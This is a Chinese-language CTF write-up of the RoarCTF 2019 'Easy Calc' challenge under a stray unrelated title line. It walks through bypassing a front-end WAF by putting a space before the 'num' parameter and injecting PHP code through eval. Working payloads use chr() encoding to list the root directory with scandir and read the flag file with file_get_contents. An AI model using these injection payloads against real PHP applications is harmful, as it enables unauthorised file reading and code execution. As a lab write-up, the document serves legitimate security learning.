程序设计教学网站开发2003 iis wordpress

• [RoarCTF 2019]Easy Calc

• 1

  

• ajax 是进行前后端交互的 但是我们发现一个waf 就是他提示的
• "calc.php?num="+encodeURIComponent($("#content").val()) ?num 的值必须是数字
• 审计一下

  

• foreach

  

• 发现了num的限制
• 但是eval是rce的标志所以我们首选的就是使用命令执行

  

• 被禁止了 system() 使用其他的passtru()等也鸡鸡了
• 所以就不是命令执行了 而是代码执行
• scandir() 函数可以进行目录的扫描 我们扫一下根目录
• 但是 / 被过滤了 可以使用chr(ascii码) 进行转换 / 的ascii 可以使用py脚本看一下

  

• ord 和chr 一个是进行ascii码的查找一个是进行字符串的匹配
• 所以构造payload ?num=scandir(chr(47))
• 但是这个前端的验证必须要我们的num是数字

  

• "calc.php?num="1;scandir(chr(47)) #+encodeURIComponent($("#content").val())
• 黄的就是构造的pay
• 试一下

  

• 报废了
• 还涉及一个知识点

  

• php bypass
• 我们了解一下php的接收参数的逻辑 ： 他会对 num 传的数据进行去空格个/等的处理
• 但是如果我们在 num之前加一个 空格或者加号 就会让前端的这个机制无法识别num的具体位置
• 但是后端是没有影响的 后端会剥去这些

  

• 加一个空格 ："calc.php ?num="+encodeURIComponent($("#content").val())
• 对方就不认识了 这个前端的waf就绕过了直接传到后端
• 实现绕过 这样num就可以是任何数了
• node5.buuoj.cn:26836/calc.php? num=1;var_dump(scandir(chr(47)))
• 为什么使用var_dump => 这个是处理数组的 而 scandir 返回的就是数组
• 找到flag

  

• 这个是文件 可以使用函数 file_get_contents（）进行读取文件

  

• 别忘了路径前面要有一个 /
• ?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

  

• flag{fbdd82de-9005-4f6d-a16b-424fca06a347}